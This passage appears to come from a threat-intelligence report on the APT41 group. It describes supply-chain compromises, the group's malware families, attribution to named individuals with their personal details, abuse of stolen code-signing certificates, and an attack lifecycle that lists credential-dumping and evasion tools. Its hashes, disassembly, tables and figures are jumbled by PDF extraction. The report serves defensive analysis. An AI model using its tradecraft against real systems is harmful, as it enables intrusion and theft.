SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION June 2018 In June 2018, a utility used to update ASUS computers was compromised in an operation dubbed "ShadowHammer" by Kaspersky. Open-source reporting indicated that more than 50,000 systems installed the malicious update, yet the malware was only designed to execute and retrieve second-stage malware on a designated list of approximately 600 systems, demonstrating this was a targeted campaign. Public reporting on the incident noted that many of the targeted MAC addresses were associated with wireless adapters from various vendors, partially indicating the operation's targeting strategy. Although we have limited visibility into the intended targets of this operation, we observed one of the whitelisted MAC addresses on a system at a telecom company. Kaspersky's analysis of the infected machines revealed that a POISONPLUG backdoor was installed as a result of the malicious update. While we have been unable to attribute the DAYJOB malware used in the incident to APT41 due to an inability to independently confirm this Table 5. "ShadowHammer" stage-two POISONPLUG sample. File MD5 C&C Domain 37e100dd8b2ad8b301b130c2bca3f1ea Table 6. POISONPLUG samples leveraging dead drop resolving. File MD5 557ff68798c71652db8a85596a4bab72 ff8d92dfbcda572ef97c142017eec658 b0877494d36fab1f9f4219c3defbfb19 ffd0f34739c1568797891b9961111464 C&C Domain sequence of events, we confirm the reported stagetwo POISONPLUG backdoor is attributed to APT41, contained several gaming references, and was likely used to target the gaming industry. The POISONPLUG sample (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea) attempts to connect to a Google document that was created under the same name and email address (Tom Giardino and ) that was used to target the cryptocurrency organization. It also attempts to connect to a Steam community page (Table 5). The POISONPLUG payload uses DDR and parses the Google document for a C&C command. The Steam community page is likely used as a fallback mechanism. FireEye malware analysis of the POISONPLUG sample indicates the malware is likely designed to run only one system with a C: drive volume serial number of 0xc25cff4c. Additional POISONPLUG samples located in Table 6 also leverage Google Document and Steam Community Pages for C&C. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION July 2018 Beginning in July 2018, APT41 appeared to have directly targeted several East and Southeast Asia-based video game developers and distributors to inject legitimate executables with the CRACKSHOT backdoor. Like other high-profile supply chain compromises attributed to APT41, these incidents included the incorporation of malicious code into legitimate executables and the signing of these files using legitimate digital certificates from the same compromised organization. APT41 used a C&C domain that masquerades as Xigncode, , in the compromise of the video game PointBlank. Ironically, Xigncode is a service intended to prevent hacking and cheating in online games. We attribute these compromises (also reported by both ESET and Kaspersky) to APT41 based on the unique use of the CRACKSHOT backdoor and tactics consistent with APT41 operations. A list of related indicators is in Table 7. Table 7. Video games industry targeting in July 2018. Targeted Game / Platform MD5 Hashes Malware Southeast Asian video game platform 04fb0ccf3ef309b1cd587f609ab0e81e CRACKSHOT Infestation game fcfab508663d9ce519b51f767e902806 CRACKSHOT PointBlank game 0b2e07205245697a749e422238f9f785 272537bbd2a8e2a2c3938dc31f0d2461 dd792f9185860e1464b4346254b2101b CRACKSHOT C&C Domain SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Overlaps Between Espionage and Financial Operations Identified overlaps across various incidents attributed to APT41 demonstrate the group's dual nature. Figure 9 and Figure 10 illustrate crossover between espionage and financially motivated activity, as well as technical similarities in tools used across both types of operations. The lure used to target the cryptocurrency exchange (displayed in Figure 5 and translated in Figure 6) referenced an online gaming platform, tying the cryptocurrency targeting to APT41's focus on video game-related targeting. The email address was used to send spear-phishing emails to a Taiwanese newspaper with the subject lure "I have a little surprise for you :)" in an espionage campaign in August 2016 (Figure 9). As depicted in Figure 10, hrsimon59@gmail. com was used to create a Google document being used as a POISONPLUG (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea) C&C. As previously mentioned, this sample also connected to a Steam page. The same email address was later used to target a cryptocurrency exchange in June 2018, demonstrating email reuse between espionage operations and financially motivated activity. Figure 9: Email overlaps between espionage and financial activity. AUGUST 2016 JUNE 2018 Cyber Espionage Probable Financial Motivation Phishing email to Taiwanese newspaper Subject: I have a little surprise for you :) Phishing email to European bitcoin exchange Subject: (FairWin) Invitation to join a decentralized gambling platform ATTACHMENT Documents.7z 8c6cceae2eea92deb6f7632f949293f0 ATTACHMENT FairWin.chm 223e4cc4cf5ce049f300671697a17a01 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION ASUS SUPPLY CHAIN (AKA SHADOWHAMMER Figure 10: JUNE NOV 2018 Malware overlaps across supply chain compromises. DAYJOB Trojanized ASUS Update Utility 0f49621b06f2cdaac8850c6e9581a594 >50K victims COMPROMISE OF A U.S. COMPANY NETSARANG SUPPLY CHAIN (AKA SHADOWPAD MAY 2016 JULY 2017 POISONPLUG POISONPLUG.SHADOW Stage 1 Loader 830a09ff05eac9a5f42897ba5176a36a Trojanized Sotware Package (DLL Loader) 97363d50a279492fda14cbab53429e75 POISONPLUG 37e100dd8b2ad8b301b130c2bca3f1ea 100s of victims Compromise of a U.S. Video Game Company Identified at Stage 1 shellcode loader a6c7db170bc7a4ee2cdb192247b59cd6 Telecom Victim Stage 2 shellcode loader 72584d6b7dd10c82d9118567b548b2b1 STAGE 2 activated at unknown victim in Hong Kong Speculated Connection Confirmed Connection Unconfirmed Confirmed Video Game Related Google Document Author SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 11: POISONPLUG API hashing (MD5: 830a09ff05eac9a5 f42897ba5176a36a). Figure 12: POISONPLUG. SHADOW API hashing (MD5: a6c7db170bc7a4 ee2cdb192247b5 9cd6). seg000:00010246 seg000:00010249 seg000:0001024C seg000:0001024F seg000:00010251 seg000:00010254 seg000:0001025A seg000:0001025D seg000:0001025F g000:0000F55C 0F B6 0E g000:0000F55F 8B 45 F4 g000:0000F562 C1 C8 08 g000:0000F565 83 C9 20 g000:0000F568 03 C1 g000:0000F56A 35 A3 D9 35 7C g000:0000F56F 83 C6 02 g000:0000F572 89 45 F4 g000:0000F575 66 39 3E g000:0000F578 75 DD g000:0000F57A 3D 61 12 5B FD FireEye malware analysis identified source code overlaps between malware used by APT41 in May 2016 targeting of a U.S.-based game development studio and the malware observed in supply chain compromises in 2017 and 2018. In May 2016, APT41 deployed a POISONPLUG sample at a U.S.-based game development studio. The stage-one loader for this sample (MD5: 830a09ff05eac9a5f42897ba5176a36a) shares code overlaps with the stage-one shellcode loader (MD5: a6c7db170bc7a4ee2cdb192247b59cd6) used in the Netsarang compromise, first reported by Kaspersky as ShadowPad. These connections, illustrated in Figure 10, led us to identify the malware used in the Netsarang incident as a variant of POISONPLUG (therefore: POISONPLUG.SHADOW). The POISONPLUG and POISONPLUG.SHADOW variants share the observed commonalities: The entrypoint functions for both loaders use the same instructions, constants, and structures to pass control to loading routines. The layout of functions and data within the loaders are the same; for example, following the entrypoint, both loaders contain an unusual region of structured data 0x60 bytes long. movzx edi, byte ptr [eax] esi, 8 edi, 20h esi, edi eax, 2 esi, 7C35D9A3H [eax], dx short loc_10246 esi, 0FD5B1261h movzx ecx, byte ptr [esi] eax, [ebp-0Ch] eax, 8 ecx, 20h eax, ecx eax, 7C35D9A3H esi, 2 [ebp-0Ch], eax [esi], di short loc_F557 eax, 0FD5B1261h Both loaders use the same API hashing algorithm to resolve routines from system libraries (Figure 11 and Figure 12). The routine uses byte-wise operations to compute a hash, including byte-wise rotate-right by eight bits, byte-wise binary, OR with 0x20, and byte-wise XOR using the four-byte key 0x7C35D9A3. Using this routine, the hash for kernel32.dll, a common DLL provided by Microsoft Windows, is 0xFD5B1261. FireEye analysis of a separate POISONPLUG payload (MD5: c8403fabda4d036a55d0353520e765c9) compiled in July 2017 and the POISONPLUG. SHADOW stage-two shellcode loader (MD5: 72584d6b7dd10c82d9118567b548b2b1) identified multiple additional plug-in similarities. Core plug-in IDs between the samples are the same, including 100, 101, 102, 103, 104, and 201. Core plug-in names are the same including Plugins, Online, Config, Install, and HTTP. C&C plug-in IDs and names between both samples are the same, including 200/TCP, 201/HTTP, 202/UDP, 203/DNS, 204/HTTPS, and 205/SSL. Both samples parse the C&C response by searching for "$" characters and decoding the result. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Attribution We assess with high confidence that APT41 is attributable to Chinese individuals who are working on behalf of the Chinese state in conducting cyber espionage operations, and that these actors are also running financially motivated campaigns for personal gain. Two identified personas using the monikers "Zhang Xuguang" and "Wolfzhi" linked to APT41's operations have also been identified in Chinese-language forums. Attribution to these individuals is backed by identified persona information, the previous work of these individuals, their apparent expertise in programming skills, and their targeting of Chinese market-specific games. It is uncertain how many other individuals may also be associated with APT41. Examples of domains registered to known aliases (some of these may have since been re-registered legitimately): Multiple domains leveraged by early APT41 activity were registered by emails and names associated with both Zhang Xuguang and Wolfzhi (or their alternative monikers). Registrant information also included references to Beijing and Chinese phone numbers (+86 country code). Zhang Xuguang ( ) registered more than a dozen domains masquerading as video games or companies with trusted relationships with video game developers/ distributors. Long-running activity provides a catalog of Zhang's efforts to improve his skills and expertise over time. Additional names include: kbkxlp, akbkxlp, injuriesa, ravinder10, Addison Lau, and addison jack Associated email addresses: In 2005, Zhang posted personal information on (Chinese Hackers Alliance), a popular Chinese online forum, that listed his date of birth as 1989, that he previously lived in Inner Mongolia, and that he specialized in script hacking (Figure 13). Zhang's profile indicated he was 16, going on 17, and he was applying to be the administrator of a script hacking forum. Spoofed domains most likely targeted players of games such as "Age of Wuxia," a massively multiplayer online role-playing game (MMORPG) themed on cultural references to dynastic China. Zhang Xugang's interest in these games is also apparent in his registration and posting on a forum dedicated to the Age of Wuxia (Figure 14). SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 13: Screenshot of Zhang's profile, with "Zhang Xuguang" highlighted in orange. Figure 14: Zhang posting to Age of Wuxia forum, with his alias "injuriesa" highlighted in yellow. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Wolfzhi is linked to a 2017 profile on a data science community page, which indicated that he had 10 years working experience at the time of the posting, with significant experience in Oracle and Python. Other documents linked to his email accounts also highlight his programming skills and database experience. Additional aliases include: wolf_zhi, wolfjiao, jiaozhiq, and jiaozhiqiang Examples of domains registered under the wolf_zhi alias: Posts in a forum provide some indication he is from Beijing or Hebei, the surrounding Chinese province. This is also consistent with information found in early domain registrations created by Wolfzhi (Figure 15). Domain: Figure 15: Domain registration by Wolfzhi. Registrant Wolfzhi Wolfzhi beijingxxxdaxia beijing beijing, 100000 Tel. +86.2011111111 Creation Date: Expiration Date: 2011-08-23 2011-08-23 Additional indicators of Chinese attribution include: the reliance on malware used exclusively by Chinese espionage operators, the use of Chinese-language strings, time zone and operational time analysis, and targeting consistent with Beijing's interests. The use of tools leveraged only by several other Chinese operators such as HOMEUNIX and HIGHNOON provides some indication that APT41 relies on the similar resources and support as these other Chinese groups. APT41 also leverages PHOTO (aka "Derusbi") and SOGU (aka "Destroy RAT" and "PlugX"), tools shared much more widely among Chinese espionage groups. See the section "Links to Other Known Chinese Operators" for more details. An APT41 HIGHNOON sample (MD5: 36711896cfeb67f599305b590f195aec) from 2012 contained a process debugging path (.pdb) with the Chinese-language directory "D:\ ," which translates to "D:\Desktop\trojan." 15:23:29 15:23:29 Compiled HTML (.chm) files used in targeting contained a language code set to "Chinese (Simplified)" despite the lure content being in the target region's language (English or otherwise). Compile and operational times of APT41 activity suggest the bulk of the group's work hours, 10:00 and 23:00 (UTC +8), are consistent with the Chinese workday, especially for tech sector employees on a "996 schedule." Figure 4 shows a breakdown of all of the operational activity within victim environments, separated between gaming and espionage (non-gaming) activity. Analysis of the times where APT41 modified or accessed a file within a victim environment, shows a concentration between 10:00 and 18:00 (UTC+8). Targeting of healthcare, semiconductors, and telecoms is consistent with Chinese state interests and parallels activity from other Chinese espionage groups. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Status as Potential Contractors We assess with moderate confidence that APT41 is constituted of contractors tasked by the Chinese state to conduct espionage operations. Individuals attributed to the group have previously indicated that they could be hired and advertised their skills and services. APT41's use of the same malware in both financial- and espionage-related operations could support their status as contractors; state employees are less likely to use such tools for personal financial gain over multiple years given the potential for greater scrutiny or punishment. Public reports on Chinese hackers highlight that skilled actors opt to work for private sector entities that have government contracts because of better pay. APT41 cyber crime activity includes the use of espionage-only malware, indicating two possible conclusions: either APT41 is operating outside of state control but still working with other Chinese APT malware actors, tools, and infrastructure on a parttime or contractual basis, or APT41 is a full-time, statesponsored APT actor but is also working outside of state control or direction for supplemental income. He was also observed sharing an injection tool named Ocean hysi ( hysi ) to demonstrate his skills, as displayed in Figure 16. Tools used by APT41 in financially motivated operations include the use of HOMEUNIX and PHOTO, which are non-public malware used only by other Chinese espionage actors. A loose time separation between espionage and cyber crime activities provides some indication that the group divides its work hours between both types of operations. For additional details, see Figure 4 and the previous section "Financially Motivated Activity." Figure 16: Ocean injection tool posted by Zhang. Underground activity dating back to 2009 indicated that Zhang Xuguang is a hacker for hire. Zhang advertised on forums that he was available for professional penetration and hacking services. Zhang listed his online hours from 4:00 p.m. 6:00 a.m., which are similar to the operational times observed at gaming targets displayed in Figure 4. China has previously relied on contractors to bolster state resources dedicated to cyber espionage activity. Increased integration between government units and civilian entities, including contractors and freelancers, is believed to be a key feature of Chinese cyber policy. According to indictments unsealed by the U.S. Department of Justice (USDOJ) in December 2018, APT10 was operated by contractors working for the China's Ministry of State Security (MSS). In a USDOJ indictment unsealed in November 2017, individual contractors responsible for APT3 were found to be working for an MSS front company. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Links to Other Known Chinese Espionage Operators APT41 uses many of the same tools and compromised digital certificates that have been leveraged by other Chinese espionage operators. Initial reports about HIGHNOON and its variants (reported publicly as "Winnti") dating back to at least 2013 indicated the tool was exclusive to a single group, contributing to significant conflation across multiple distinct espionage operations. APT41 overlaps at least partially with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky). In some cases, the primary observed similarity in the publicly reported Winnti activity was the use of the same malware including HIGHNOON across otherwise separate clusters of activity. Previous FireEye Threat Intelligence reporting on the use of HIGHNOON and related activity was grouped together under both GREF and Mana, although we now understand this to be the work of several Chinese cyber espionage groups that share tools and digital certificates. APT41 reflects our current understanding of what was previously reported as GREF, as well as additional indicators and activity gathered during our extensive review of our intelligence holdings. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Certificate Overlap A digital certificate issued by YNK Japan that was publicly reported as being used by Winnti has been used by multiple Chinese espionage operators, including APT17, and APT20, and APT41. Issuer: CN=VeriSign Class 3 Code Signing 2009-2 CA Subject: CN=YNK JAPAN Inc Serial Number: 67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d Issue-Date: 11/27/09 , Expiration-Date: 11/27/11 A self-signed digital certificate purporting to be from the Microsoft Certificate Authority has been used by both APT41 and APT40 to sign samples of the PHOTO backdoor. Issuer: CN=Microsoft Certificate Authority Subject: CN=Microsoft Certificate Authority Serial Number: (Negative)77:62:e5:c6:c9:c2:75:59:b0:b8:f5:56:60:61:d8:78 Issue-Date: 12/31/2009, Expiration-Date: 12/30/2035 The overlaps in groups observed using these certificates is illustrated in Table 8. Table 8. Example of shared certificates between APT groups. Serial Number 67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d (Negative)77:62:e5:c6:c9:c2:75:59:b0:b8:f5:56:60:61:d8:78 Subject APT17 APT20 YNK JAPAN Inc Microsoft Certificate Authority APT40 APT41 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Launcher Overlap The use of DLL side-loading has been a source of continued confusion when used as an indicator for distinct operations. This technique uses a legitimate and often digitally signed executable to essentially trick a system into launching a malicious DLL because it has been given the same name as a legitimate DLL normally loaded by the executable. The use of a valid and digitally signed executable allows actors to bypass host-based security measures. For this reason, it continues to be popular mechanism used by multiple groups. This also explains why the use of these DLL filenames is not a unique indicator for distinct APT operators. Table 9 contains legitimate executables used by APT41 and selected other Chinese cyber espionage groups for DLL side-loading: Table 9. Legitimate files used by different APT groups for DLL side-loading. File MD5 Hash Filename APT9 APT10 APT20 APT41 09b8b54f78a10c435cd319070aa13c28 nvSmartEx.exe 26a196afc8e6aff6fc6c46734bf228cb form.exe Code Family Overlap A significant number of non-public tools used by APT41 are shared with other distinct Chinese espionage operators. Source code overlaps between observed code families indicate potential access to shared code repositories or common developers between groups. APT41 has used several malware families that have also been used by other Chinese espionage operators, including variants of HIGHNOON, HOMEUNIX, PHOTO, SOGU, and ZXSHELL, among others. Table 10 illustrates some of overlap between malware families used by APT41 and other APT groups. Note that this is only for illustration purposes and is not indicative of all observed malware families used by these APT groups or all groups that have used those families. HIGHNOON, one of the main code families observed being used by APT41, was also used by APT17 in 2015 to target semiconductor and chemical manufacturers. HOMEUNIX, another popular backdoor used by APT41, has been used by at least 14 separate Chinese espionage groups, including APT1, APT10, APT17, APT18, and APT20. JUMPALL is a dropper that has been observed dropping variants of the HIGHNOON, ZXSHELL, and SOGU code families attributed to APT17 and APT41. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 10. Code family overlap among different Chinese espionage groups. Malware APT1 APT3 APT10 APT17 APT18 APT19 APT40 APT41 BLACKCOFFEE CHINACHOP COLDJAVA HIGHNOON HIGHNOON.BIN HIGHNOON.LITE HOMEUNIX JUMPALL PHOTO SOGU ZXSHELL Table 11. CLASSFON sample with internal name "DrvDll.dll" and contains reference to "PlusDll.dll". File MD5 Hash Malware Internal Filename Device Driver Name 9e1a54d3dc889a7f0e56753c0486fd0f CLASSFON DrvDll.dll PlusDll.dll Table 12. APT41 HIGHNOON.BIN samples that reference "PlusDll.Dll". File MD5 Hash Malware Process Debugging Path 36711896cfeb67f599305b590f195aec HIGHNOON.BIN \Anti_winmm\AppInit\AppInit\Release\AppInit.pdb a0a96138b57ee24eed31b652ddf60d4e HIGHNOON.BIN H:\RBDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb APT41 has not only shared the same tools with other Chinese espionage operators but also appears to have access to shared source code or developers as well. APT41 has used CROSSWALK.BIN, a kernel driver, to circumvent firewalls and covertly send data. Another Chinese espionage group used a similar tool, CLASSFON, to covertly proxy network communications in 2011. CLASSFON (MD5: 9e1a54d3dc889a7f0e56753c0486fd0f) has an internal name of DrvDll.dll and an embedded device driver that is internally named PlusDll.dll (Table 11). The PlusDll.dll filename has also been identified in APT41 HIGHNOON.BIN samples (Table 12). PDB paths identified in related APT41 HIGHNOON. BIN samples contain the name "RBDoor," which has also been identified in samples of HIGHNOON, HIGHNOON.LITE, HIGHNOON.CLI, and GEARSHIFT (Figure 17). APT41 files containing PDB paths referencing "RBDoor" are listed in Table 13. At least two of these malware families, HIGHNOON.CLI and GEARSHIFT, have been used by APT17 and another suspected Chinese espionage group. Further information regarding code family overlaps between variants can be found in "Technical Annex: Additional Malware Overlaps." SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 17: PDB paths containing "RBDoor". H:\Double-V1\stone_srv\Bin\RbDoor64.pdb H:\Double\Door_wh\AppInit\x64\Release\AppInit.pdb H:\Double\Door_wh\RbDoorX64\x64\Release\RbDoorX64.pdb H:\Double\door_wh_kav\Bin\RbDoor64.pdb H:\RBDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb H:\RBDoor\Anti_winmm\AppInit\AppInit\x64\Release\AppInit.pdb H:\RBDoor\Anti_winmm\AppInit\ShutDownEvent\x64\Release\ShutDownEvent.pdb H:\RbDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb H:\RbDoor\Anti_winmm\AppInit\RbDoorX64\Release\RbDoor.pdb H:\RbDoor\Anti_winmm\AppInit\ShutDownEvent\Release\ShutDownEvent.pdb H:\RbDoor\Lib\WMI_SSL\RemoteLib\bin\TestRjLib.pdb H:\Svn\Double-V1\stone_srv\Bin\RbDoor64.pdb Table 13. APT41 samples with PDB paths containing "RBDoor". File MD5 Hash Malware 46a557fbdce734a6794b228df0195474 HIGHNOON 77c60e5d2d99c3f63f2aea1773ed4653 HIGHNOON a0a96138b57ee24eed31b652ddf60d4e HIGHNOON.BIN 7d51ea0230d4692eeedc2d5a4cd66d2d HIGHNOON.BIN 849ab91e93116ae420d2fe2136d24a87 HIGHNOON.BIN ba08b593250c3ca5c13f56e2ca97d85e JUMPALL f8c89ccd8937f2b760e6706738210744 GEARSHIFT 5b26f5c7c367d5e976aaba320965cc7f GEARSHIFT SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Use of Code-Signing Certificates APT41 regularly leverages code-signing certificates to sign malware when targeting both gaming and nongaming organizations. Notably, most of the digital certificates being used in this manner are valid unrevoked digital certificates stolen from East Asia-based game development studios. APT41 likely signs their malware to ensure compatibility with the targeted systems and to potentially avoid detection. Microsoft requires all kernel-mode drivers to be signed in order to run on operating systems running Windows Vista or later. The use of code-signing certificates can also significantly decrease the likelihood that a malicious payload is detected. Although we do not have direct evidence of APT41 specifically targeting and stealing code-signing certificates, we have some indication from targeting of affected organizations within the same time frame that digital certificates are first compromised and used to sign malware. Stealing private keys or compromising an organization's infrastructure to access and steal digital certificates abuses trust relationships between firms and certificate authorities. Malicious files signed with valid digital certificates can circumvent automated scanning/ blocking solutions and bypass Windows group policies which restrict unsigned code from running. Even when detected, malicious files signed by a digital certificate from a trusted partner or associated business are less likely to draw suspicion. According to an advertisement in an underground marketplace, the success rate of installing a payload increases by as much as 50 percent when signing files with valid digital certificates. In most cases, multiple digital certificates are issued to an organization using the same public name, making it more difficult to identify a compromised certificate among others with identical names. Certificate authorities are responsible for revoking compromised digital certificates, although response times can vary greatly, and digital certificates can continue to be abused even long after they are first identified being misused. Several malware samples were signed very close to the certificate issue date, suggesting that APT41 or a related actor had access to the private key or build environment at that time. It is also possible the group acquired the private keys soon after they were issued. In some cases, digital certificates were used to sign malware samples just before they expired, most likely indicating the actors were actively managing a library of digital certificates for this purpose. Figure 18 depicts compile times of malware signed with compromised digital certificates within the time frame that the certificates were valid. All of the certificates listed in the graphic have either been revoked or are currently expired. Indicators associated with these certificates are listed in "Technical Annex: Code Signing Certificates Used by APT41." Alternatively, it is possible APT41 may have purchased the digital certificates used for signing malware within an underground market. FireEye researchers found that code signing certificates are currently available for sale in underground marketplaces for as little as $399 USD, although ones that go through rigorous vetting can be sold for $1,699 USD. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 18: First observed malware samples signed with digital certificates (white) in relation to valid certificate dates (blue). Observed Use Of Code Signing Certificates Electronics Extreme Limited Zepetto Co. En Masse Entertainment GameUS Inc. Shanda Games NetSarang Computer Wemade Entertainment Co. XL Games Co. Nanjing Ranyi Technology Co. Guangzhou YuanLuo Technology Co. Fuqing Dawu Technolofy Co. Mgame Corp xlgames Neowix Corporation Webzen Inc. Guangzhou YuanLuo Technology Co. YNK JAPAN Inc. 11/27/09 Certificate Validity Dates First Observed Malware Sample Signed with Compromised Certificate 4/11/11 8/23/12 1/5/14 5/20/15 10/1/16 2/13/18 6/28/19 SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Outlook and Implications APT41 is a dual threat demonstrating creativity and aggressiveness in carrying out both espionage campaigns and financially motivated operations. The group's capabilities and targeting have both widened over time, signaling the potential for additional supply chain compromises affecting more victims in additional verticals. APT41's links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them. It is also possible that APT41 has simply evaded scrutiny from Chinese authorities. Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION TECHNICAL ANNEX Attack Lifecycle Figure 19: APT41 attack lifecycle. Initial Compromise CHINACHOP Credential theft CVE-2019-3369 Spear-phishing Stolen credentials TeamViewer Establish Foothold ACEHASH ASPXSpy Beacon CHINACHOP COLDJAVA CRACKSHOT CROSSWALK DEADEYE DOWNTIME EASYNIGHT Gh0st HIGHNOON HIGHNOON.LITE HIGHNOON.PASTEBOY HKDOOR HOTCHAI JUMPALL LATELUNCH LIFEBOAT LOWKEY njRAT PHOTO POISONPLUG POISONPLUG.SHADOW POTROAST SAGEHIRE SOGU SWEETCANDLE TERA TIDYELF WINTERLOVE XDOOR ZXSHELL PowerShell Sticky Keys Vulnerability Maintain Presence Move Laterally ADORE.XSEC CROSSWALK CROSSWALK.BIN FRONTWHEEL HIGHNOON HIGHNOON.BIN HIGHNOON.LINUX HOMEUNIX PACMAN PHOTO POISONPLUG POWERSPLOIT ROCKBOOT SOGU Scheduled tasks Startup files Sticky Keys Vulnerability Windows Registry modifications HIGHNOON SOGU Brute-force local admin account Creation of user accounts added to User and Admin groups Modification of the legitimate WMI Performance Adapter RDP Scheduled tasks Stolen credentials Escalate Privilege Internal Reconnaisance ACEHASH GEARSHIFT Mimikatz NTDSDump PHOTO PwDump WINTERLOVE Bypass User Account Control Password hash dumping Windows Credential Editor (WCE) HIGHNOON SOGU WIDETONE Built-in Windows commands (ping, nestate, etc.) Complete Mission Encryptor RaaS XMRIG Clear .bash_history files Clear Windows security and system event logs Compress data using RAR Credential theft Delete Scheduled tasks Intellectual property theft Modify DNS management to avoid anti-virus detection Steal in-game currencies SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Initial Compromise APT41 leverages a variety of techniques to perform an initial compromise, including spearphishing, moving laterally from trusted third parties, leveraging stolen credentials, using the CHINACHOP web shell, and accessing victim organizations using remote desktop sharing software, such as TeamViewer. APT41 often relies on the use of simple spear-phishing email with attachments such as compiled HTML (.chm) files to initially compromise their victims. However, once in a victim organization, the operation can leverage more sophisticated TTPs and deploy additional malware tools. In a campaign running almost one year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits. We have observed TeamViewer credentials used as an entry point in multiple intrusions across industries. In these instances, APT41 leveraged TeamViewer to transfer malware into the compromised environment, although we do not have direct evidence of APT41 compromising TeamViewer. In July 2017, APT41 initiated a TeamViewer session and transferred files that were later deleted. Filenames and creation times indicate that these may have been the HIGHNOON backdoor. In May 2018, APT41 used TeamViewer for initial entry in the compromise of a healthcare company. During this intrusion, APT41 started a TeamViewer session and shortly after transferred DLL files associated with the CROSSWALK backdoor to the victim environment before deploying CROSSWALK. The group has leveraged several exploits in their operations. Notably, APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence vulnerability was announced. Observed Vulnerabilities CVE-2012-0158 CVE-2015-1641 CVE-2017-0199 CVE-2017-11882 CVE-2019-3396 APT41 compromised one organization and moved to a client environment. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Establish Foothold APT41 uses a variety of malware and tools, both public and unique to the group, to establish a foothold with a victim's environment, including: ASPXSpy HIGHNOON.LITE POISONPLUG.SHADOW ACEHASH HIGHNOON.PASTEBOY POTROAST Beacon HOTCHAI SAGEHIRE CHINACHOP HKDOOR SOGU COLDJAVA JUMPALL SWEETCANDLE CRACKSHOT LATELUNCH TERA CROSSWALK LIFEBOAT TIDYELF DEADEYE LOWKEY XDOOR DOWNTIME njRAT WINTERLOVE EASYNIGHT POISONPLUG ZXSHELL Gh0st APT41 has been observed using Linux and Windows variants of the same malware families, such as PHOTO and HIGHNOON. The group often initially installs its backdoors to c:\ windows\temp. We have observed APT41 attempting to masquerade their files and domains as popular anti-virus software: APT41 appears to use the commercially available Beacon backdoor that is part of the Cobalt Strike pen-testing software platform. In at least one instance, a server used for Beacon C&C was also leveraged for CROSSWALK C&C. On multiple occasions, APT41 leveraged the Sticky Keys vulnerability and PowerShell to deploy malware families in victims' environments. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Escalate Privileges APT41 escalates its privileges in systems by leveraging custom-made and publicly available tools to gather credentials and dump password hashes. The tools include: ACEHASH NTDSDump GEARSHIFT PHOTO GOODLUCK PwDump Mimikatz WINTERLOVE Windows Credential Editor (WCE) APT41 frequently uses the Windows Credential Editor to dump password hashes from memory and authenticate other user accounts. Internal Reconnaissance APT41 conducts network reconnaissance after using compromised credentials to log on to other systems. The group leverages built-in Windows commands, such as "netstat" and "net share," in addition to the custom and non-public malware families SOGU, HIGHNOON, and WIDETONE. HIGHNOON includes the ability to collect host information by enumerating active Remote Desktop Protocol (RDP) sessions. SOGU is capable of listing TCP and UDP network connections, respectively. WIDETONE is capable of conducting port scans and password brute-force attacks and collecting network information. It contains an embedded variant of a publicly available enumeration tool and can be run with the following options: "-hbs" option runs a port scan on the specified subnet. "-hscan" scans the specified IP range for IPC and SQL services. "-enum" queries a Windows host for requested information, such as users, groups/ members, policies, and more. SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION APT41 assesses the network architecture of an organization and identifies pivotal systems for enabling further access. The group has repeatedly identified intermediary systems that provide access to otherwise segmented parts of an organization's network (as outlined in Case Study: Video Game Industry Targeting). Once APT41 has identified intermediary systems, it moves quickly to compromise systems. In one case, hundreds of systems across several geographic regions were compromised in as little as two weeks. Lateral Movement APT41 uses multiple methods to perform lateral movement in an environment, including RDP sessions, using stolen credentials, adding accounts to User and Admin groups, and password brute-forcing utilities. The group will also use a compromised account to create 